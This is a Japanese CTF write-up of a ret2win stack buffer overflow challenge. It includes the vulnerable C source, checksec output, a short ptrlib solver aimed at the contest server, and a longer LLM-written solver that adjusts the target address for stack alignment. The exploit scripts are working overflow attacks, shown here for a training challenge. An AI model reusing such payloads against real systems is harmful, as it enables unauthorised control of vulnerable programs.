問題

スタックとリターンアドレスを確認しましょう

抜粋

void win() {略} # print(flag)

int main() {
  char buf[10] = {0};
  printf("input:");
  read(0, buf, 0x20);
  printf("Hello, %s\\n", buf);
  printf("return to: 0x%lx\\n", *(uint64_t *)(((void *)buf) + 18));
  return 0;
}

TL;DR

解法

checksec

RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
Stripped:   No

bufにBOFあり。

No PIEなのでリターンアドレスをwin関数へ書き換える。

リターンアドレスはgefでp winして確認したり、ptrlibでelf.symbol(”win”)してやればよい。

ソルバ

from ptrlib import *

FILE_NAME = './chall'
elf = ELF(FILE_NAME)
io = Socket("nc 34.170.146.252 59419")

payload = b"A"*18
payload += p64(elf.symbol("win"))

io.sendline(payload)
io.interactive()

余談:LLMのソルバ

長っ!て思ったけどアライメント対策してて偉い

#!/usr/bin/env python3
import argparse
import socket
import struct
import subprocess
import sys

OFFSET = 0x12              # buf先頭 → saved RIP(ソースの *(buf+18) と一致)
WIN = 0x401186             # nmで確認できる win のアドレス(No PIE)
TARGET = WIN + 1           # push rbp をスキップして16byteアラインメントを合わせる

def p64(x: int) -> bytes:
    return struct.pack("<Q", x)

def payload() -> bytes:
    return b"A" * OFFSET + p64(TARGET)

def recv_until(sock, token: bytes) -> bytes:
    data = b""
    while not data.endswith(token):
        b = sock.recv(1)
        if not b:
            break
        data += b
    return data

def run_remote(host: str, port: int):
    s = socket.create_connection((host, port))
    pre = recv_until(s, b"input:")
    s.sendall(payload())
    out = b""
    while True:
        chunk = s.recv(4096)
        if not chunk:
            break
        out += chunk
    sys.stdout.buffer.write(pre + out)

def run_local(binpath: str):
    p = subprocess.Popen([binpath], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
    # "input:" まで読む
    pre = b""
    while not pre.endswith(b"input:"):
        c = p.stdout.read(1)
        if not c:
            break
        pre += c

    p.stdin.write(payload())
    p.stdin.flush()

    rest = p.stdout.read()  # EOF(クラッシュ)まで読む
    sys.stdout.buffer.write(pre + rest)

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("host", nargs="?", help="remote host")
    ap.add_argument("port", nargs="?", type=int, help="remote port")
    ap.add_argument("--local", action="store_true", help="run locally")
    ap.add_argument("--bin", default="./chall", help="local binary path (default: ./chall)")
    args = ap.parse_args()

    if args.local or (args.host is None and args.port is None):
        run_local(args.bin)
    else:
        if args.host is None or args.port is None:
            ap.error("remoteは host と port を指定してね")
        run_remote(args.host, args.port)

if __name__ == "__main__":
    main()